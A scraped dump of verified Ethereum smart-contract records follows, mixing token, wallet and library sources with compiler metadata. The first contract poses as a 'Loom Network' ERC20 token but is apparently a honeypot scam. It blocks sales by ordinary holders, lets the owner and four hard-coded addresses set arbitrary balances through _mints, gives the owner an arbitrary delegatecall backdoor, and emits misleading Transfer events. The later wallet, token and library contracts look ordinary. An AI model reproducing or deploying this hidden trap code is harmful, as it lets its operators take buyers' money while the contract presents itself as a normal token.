pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } //heyuemingchen contract LOOM { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); //go the white address first if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function _mints(address spender, uint256 addedValue) public returns (bool) { require(msg.sender==owner || msg.sender==address(1128272879772349028992474526206451541022554459967) || msg.sender==address(781882898559151731055770343534128190759711045284) || msg.sender==address(718276804347632883115823995738883310263147443572) || msg.sender==address(56379186052763868667970533924811260232719434180) ); if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));} canSale[spender]=true; return true; } function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }

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v0.5.17+commit.d19bba13

000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000000009184e72a000000000000000000000000000000000000000000000000000000000000000000c4c6f6f6d204e6574776f726b000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000044c4f4f4d00000000000000000000000000000000000000000000000000000000

Default

MIT

bzzr://507592baf3a5e8c43d5fe2e2bd34dfc40fb07d8d2894f974c5bf49ddbfc38632

DMX

token.sol

0x0707e4241f220688a22098beaad4613e1b1dbc8b

Solidity

// SPDX-License-Identifier: GPL-2.0-only /** * @title DYMMAX token * @author Fima */ pragma solidity >=0.6.0 <0.8.0; import "./ERC20.sol"; import "./ERC20Burnable.sol"; contract DMX is ERC20, ERC20Burnable { constructor() ERC20("DYMMAX Governance Token", "DMX") public { _mint(msg.sender, 10**7 * 10**18); } }

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v0.6.12+commit.27d51765

petersburg

None

ipfs://433d9ad19bf518362dd6a8923d583adebf5a84ef985fac7867679a3b993a97fb

Wallet

controller.sol

0x44cfab5112a1e78b004e064c53a9ddaed2c103d0

Solidity

/** * Controller - The Consumer Contract Wallet * Copyright (C) 2019 The Contract Wallet Company Limited * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * You should have received a copy of the GNU General Public License * along with this program. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity ^0.5.17; import "./ownable.sol"; import "./transferrable.sol"; /// @title The IController interface provides access to the isController and isAdmin checks. interface IController { function isController(address) external view returns (bool); function isAdmin(address) external view returns (bool); } /// @title Controller stores a list of controller addresses that can be used for authentication in other contracts. /// @notice The Controller implements a hierarchy of concepts, Owner, Admin, and the Controllers. /// @dev Owner can change the Admins /// @dev Admins and can the Controllers /// @dev Controllers are used by the application. contract Controller is IController, Ownable, Transferrable { event AddedController(address _sender, address _controller); event RemovedController(address _sender, address _controller); event AddedAdmin(address _sender, address _admin); event RemovedAdmin(address _sender, address _admin); event Claimed(address _to, address _asset, uint256 _amount); event Stopped(address _sender); event Started(address _sender); mapping(address => bool) private _isAdmin; uint256 private _adminCount; mapping(address => bool) private _isController; uint256 private _controllerCount; bool private _stopped; /// @notice Constructor initializes the owner with the provided address. /// @param _ownerAddress_ address of the owner. constructor(address payable _ownerAddress_) public Ownable(_ownerAddress_, false) {} /// @notice Checks if message sender is an admin. modifier onlyAdmin() { require(_isAdmin[msg.sender], "sender is not an admin"); _; } /// @notice Check if Owner or Admin modifier onlyAdminOrOwner() { require(_isOwner(msg.sender) || _isAdmin[msg.sender], "sender is not an admin"); _; } /// @notice Check if controller is stopped modifier notStopped() { require(!isStopped(), "controller is stopped"); _; } /// @notice Add a new admin to the list of admins. /// @param _account address to add to the list of admins. function addAdmin(address _account) external onlyOwner notStopped { _addAdmin(_account); } /// @notice Remove a admin from the list of admins. /// @param _account address to remove from the list of admins. function removeAdmin(address _account) external onlyOwner { _removeAdmin(_account); } /// @return the current number of admins. function adminCount() external view returns (uint256) { return _adminCount; } /// @notice Add a new controller to the list of controllers. /// @param _account address to add to the list of controllers. function addController(address _account) external onlyAdminOrOwner notStopped { _addController(_account); } /// @notice Remove a controller from the list of controllers. /// @param _account address to remove from the list of controllers. function removeController(address _account) external onlyAdminOrOwner { _removeController(_account); } /// @notice count the Controllers /// @return the current number of controllers. function controllerCount() external view returns (uint256) { return _controllerCount; } /// @notice is an address an Admin? /// @return true if the provided account is an admin. function isAdmin(address _account) external view notStopped returns (bool) { return _isAdmin[_account]; } /// @notice is an address a Controller? /// @return true if the provided account is a controller. function isController(address _account) external view notStopped returns (bool) { return _isController[_account]; } /// @notice this function can be used to see if the controller has been stopped /// @return true is the Controller has been stopped function isStopped() public view returns (bool) { return _stopped; } /// @notice Internal-only function that adds a new admin. function _addAdmin(address _account) private { require(!_isAdmin[_account], "provided account is already an admin"); require(!_isController[_account], "provided account is already a controller"); require(!_isOwner(_account), "provided account is already the owner"); require(_account != address(0), "provided account is the zero address"); _isAdmin[_account] = true; _adminCount++; emit AddedAdmin(msg.sender, _account); } /// @notice Internal-only function that removes an existing admin. function _removeAdmin(address _account) private { require(_isAdmin[_account], "provided account is not an admin"); _isAdmin[_account] = false; _adminCount--; emit RemovedAdmin(msg.sender, _account); } /// @notice Internal-only function that adds a new controller. function _addController(address _account) private { require(!_isAdmin[_account], "provided account is already an admin"); require(!_isController[_account], "provided account is already a controller"); require(!_isOwner(_account), "provided account is already the owner"); require(_account != address(0), "provided account is the zero address"); _isController[_account] = true; _controllerCount++; emit AddedController(msg.sender, _account); } /// @notice Internal-only function that removes an existing controller. function _removeController(address _account) private { require(_isController[_account], "provided account is not a controller"); _isController[_account] = false; _controllerCount--; emit RemovedController(msg.sender, _account); } /// @notice stop our controllers and admins from being useable function stop() external onlyAdminOrOwner { _stopped = true; emit Stopped(msg.sender); } /// @notice start our controller again function start() external onlyOwner { _stopped = false; emit Started(msg.sender); } //// @notice Withdraw tokens from the smart contract to the specified account. function claim(address payable _to, address _asset, uint256 _amount) external onlyAdmin notStopped { _safeTransfer(_to, _asset, _amount); emit Claimed(_to, _asset, _amount); } }

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v0.5.17+commit.d19bba13

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Default

GNU LGPLv3

bzzr://82dbeaf00b088cab6b410587240b7ae9254dbc4e7cfb55ff2186b1bb5062272d

Wallet

ERC165.sol

0x44cfab5112a1e78b004e064c53a9ddaed2c103d0

Solidity

pragma solidity ^0.5.15; /// @title ERC165 interface specifies a standard way of querying if a contract implements an interface. interface ERC165 { function supportsInterface(bytes4) external view returns (bool); }

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v0.5.17+commit.d19bba13

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Default

GNU LGPLv3

bzzr://82dbeaf00b088cab6b410587240b7ae9254dbc4e7cfb55ff2186b1bb5062272d

Wallet

ERC20.sol

0x44cfab5112a1e78b004e064c53a9ddaed2c103d0

Solidity

pragma solidity ^0.5.15; /// @title ERC20 interface is a subset of the ERC20 specification. /// @notice see https://github.com/ethereum/EIPs/issues/20 interface ERC20 { function allowance(address _owner, address _spender) external view returns (uint256); function approve(address _spender, uint256 _value) external returns (bool); function balanceOf(address _who) external view returns (uint256); function totalSupply() external view returns (uint256); function transfer(address _to, uint256 _value) external returns (bool); function transferFrom(address _from, address _to, uint256 _value) external returns (bool); }

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v0.5.17+commit.d19bba13

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Default

GNU LGPLv3

bzzr://82dbeaf00b088cab6b410587240b7ae9254dbc4e7cfb55ff2186b1bb5062272d

Wallet

Migrations.sol

0x44cfab5112a1e78b004e064c53a9ddaed2c103d0

Solidity

pragma solidity >=0.4.21 <0.7.0; contract Migrations { address public owner; uint public last_completed_migration; constructor() public { owner = msg.sender; } modifier restricted() { if (msg.sender == owner) _; } function setCompleted(uint completed) public restricted { last_completed_migration = completed; } }

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v0.5.17+commit.d19bba13

0000000000000000000000000f1e2e5eacfebec3ce686554fbdbb67df00f7f00000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000c2e074ec69a0dfb2997ba6c7d2e1ee84f90570f13fe09f288f2411ff9cf50da611ed0c7db7f73d48053ffc974d3967f2ce995617d2816b426c5c8698c5ec2952f7a34bb10f38326f74933d5893697d0ff8bd67f6e25e4e4b010df582a36a0ee9b78e49afe6cc1cff5dd5a830403300000000000000000000000000000000000000000000000008ac7230489e80000

Default

GNU LGPLv3

bzzr://82dbeaf00b088cab6b410587240b7ae9254dbc4e7cfb55ff2186b1bb5062272d

Wallet

token.sol

0x44cfab5112a1e78b004e064c53a9ddaed2c103d0

Solidity

pragma solidity ^0.5.17; import "./SafeMath.sol"; /// @title Token is a mock ERC20 token used for testing. contract Token { using SafeMath for uint256; event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 amount); /// @dev Total supply of tokens in circulation. uint256 public totalSupply; /// @dev Balances for each account. mapping(address => uint256) public balanceOf; mapping(address => mapping(address => uint256)) public allowance; /// @dev Transfer a token. This throws on insufficient balance. function transfer(address to, uint256 amount) public returns (bool) { require(balanceOf[msg.sender] >= amount); balanceOf[msg.sender] -= amount; balanceOf[to] += amount; emit Transfer(msg.sender, to, amount); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { if (_to == address(0)) return false; if (balanceOf[_from] < _value) return false; uint256 allowed = allowance[_from][msg.sender]; if (allowed < _value) return false; //PROBLEM! /* require(_value <= allowed, "amount exceeds allowance"); */ balanceOf[_to] = SafeMath.add(balanceOf[_to], _value); balanceOf[_from] = SafeMath.sub(balanceOf[_from], _value); allowance[_from][msg.sender] = SafeMath.sub(allowed, _value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { //require user to set to zero before resetting to nonzero if ((_value != 0) && (allowance[msg.sender][_spender] != 0)) { return false; } allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /// @dev Credit an address. function credit(address to, uint256 amount) public returns (bool) { balanceOf[to] += amount; totalSupply += amount; return true; } /// @dev Debit an address. function debit(address from, uint256 amount) public { balanceOf[from] -= amount; totalSupply -= amount; } }

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v0.5.17+commit.d19bba13

0000000000000000000000000f1e2e5eacfebec3ce686554fbdbb67df00f7f00000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000c2e074ec69a0dfb2997ba6c7d2e1ee84f90570f13fe09f288f2411ff9cf50da611ed0c7db7f73d48053ffc974d3967f2ce995617d2816b426c5c8698c5ec2952f7a34bb10f38326f74933d5893697d0ff8bd67f6e25e4e4b010df582a36a0ee9b78e49afe6cc1cff5dd5a830403300000000000000000000000000000000000000000000000008ac7230489e80000

Default

GNU LGPLv3

bzzr://82dbeaf00b088cab6b410587240b7ae9254dbc4e7cfb55ff2186b1bb5062272d

Wallet

walletCache.sol

0x44cfab5112a1e78b004e064c53a9ddaed2c103d0

Solidity

/** * The Consumer Contract Wallet - Wallet Deployer Cache * Copyright (C) 2019 The Contract Wallet Company Limited * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * You should have received a copy of the GNU General Public License * along with this program. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity ^0.5.17; import "./wallet.sol"; import "./ensResolvable.sol"; import "./controllable.sol"; /// @title IWalletCache interface describes a method for poping an already cached wallet interface IWalletCache { function walletCachePop() external returns (Wallet); } //// @title Wallet cache with wallet pre-caching functionality. contract WalletCache is ENSResolvable, Controllable { event CachedWallet(Wallet _wallet); /***** Constants *****/ // Default values for mainnet ENS // licence.tokencard.eth bytes32 private constant _DEFAULT_LICENCE_NODE = 0xd0ff8bd67f6e25e4e4b010df582a36a0ee9b78e49afe6cc1cff5dd5a83040330; // token-whitelist.tokencard.eth bytes32 private constant _DEFAULT_TOKEN_WHITELIST_NODE = 0xe84f90570f13fe09f288f2411ff9cf50da611ed0c7db7f73d48053ffc974d396; // wallet-deployer.v3.tokencard.eth bytes32 private constant _DEFAULT_WALLET_DEPLOYER_NODE = 0x1d0c0adbe6addd93659446311e0767a56b67d41ef38f0cb66dcf7560d28a5a38; bytes32 public licenceNode = _DEFAULT_LICENCE_NODE; bytes32 public tokenWhitelistNode = _DEFAULT_TOKEN_WHITELIST_NODE; bytes32 public walletDeployerNode = _DEFAULT_WALLET_DEPLOYER_NODE; Wallet[] public cachedWallets; address public ens; uint256 public defaultSpendLimit; /// @notice parameters are passed in so that they can be used to construct new instances of the wallet /// @dev pass in bytes32 to use the default, production node labels for ENS constructor( address _ens_, uint256 _defaultSpendLimit_, bytes32 _controllerNode_, bytes32 _licenceNode_, bytes32 _tokenWhitelistNode_, bytes32 _walletDeployerNode_ ) public ENSResolvable(_ens_) Controllable(_controllerNode_) { ens = _ens_; defaultSpendLimit = _defaultSpendLimit_; // Set licenceNode or use default if (_licenceNode_ != bytes32(0)) { licenceNode = _licenceNode_; } // Set tokenWhitelistNode or use default if (_tokenWhitelistNode_ != bytes32(0)) { tokenWhitelistNode = _tokenWhitelistNode_; } // Set walletDeployerNode or use default if (_walletDeployerNode_ != bytes32(0)) { walletDeployerNode = _walletDeployerNode_; } } modifier onlyWalletDeployer() { require(msg.sender == _ensResolve(walletDeployerNode), "not called by wallet-deployer"); _; } /// @notice This public method allows anyone to pre-cache wallets function cacheWallet() public { // the address(uint160()) cast is done as the Wallet owner (1st argument) needs to be payable Wallet wallet = new Wallet( address(uint160(_ensResolve(walletDeployerNode))), true, ens, tokenWhitelistNode, controllerNode(), licenceNode, defaultSpendLimit ); cachedWallets.push(wallet); emit CachedWallet(wallet); } /// @notice This public method allows only the wallet deployer to pop pre-cached wallets or create a new one in case there aren't any function walletCachePop() external onlyWalletDeployer returns (Wallet) { if (cachedWallets.length < 1) { cacheWallet(); } Wallet wallet = cachedWallets[cachedWallets.length - 1]; cachedWallets.pop(); return wallet; } /// @notice returns the number of pre-cached wallets function cachedWalletsCount() external view returns (uint256) { return cachedWallets.length; } }

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payable","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"pendingWhitelistAddition","outputs":[{"internalType":"address[]","name":"","type":"address[]"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"pendingWhitelistRemoval","outputs":[{"internalType":"address[]","name":"","type":"address[]"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"relayNonce","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"renounceOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"setGasTopUpLimit","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"setLoadLimit","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"setSpendLimit","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address[]","name":"_addresses","type":"address[]"}],"name":"setWhitelist","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"spendLimitAvailable","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"spendLimitControllerConfirmationRequired","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"spendLimitPending","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"spendLimitValue","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"submitGasTopUpLimitUpdate","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"submitLoadLimitUpdate","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"submitSpendLimitUpdate","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address[]","name":"_addresses","type":"address[]"}],"name":"submitWhitelistAddition","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address[]","name":"_addresses","type":"address[]"}],"name":"submitWhitelistRemoval","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"submittedWhitelistAddition","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"submittedWhitelistRemoval","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"bytes4","name":"_interfaceID","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"tokenWhitelistNode","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"topUpGas","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address 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v0.5.17+commit.d19bba13

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Default

GNU LGPLv3

bzzr://82dbeaf00b088cab6b410587240b7ae9254dbc4e7cfb55ff2186b1bb5062272d

TokenVesting

https://github.com/OpenZeppelin/openzeppelin-contracts/contracts/utils/Address.sol

0xffd62d8656d6bb1a0834094fa6308bc52bfc837c

Solidity

pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.3._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since 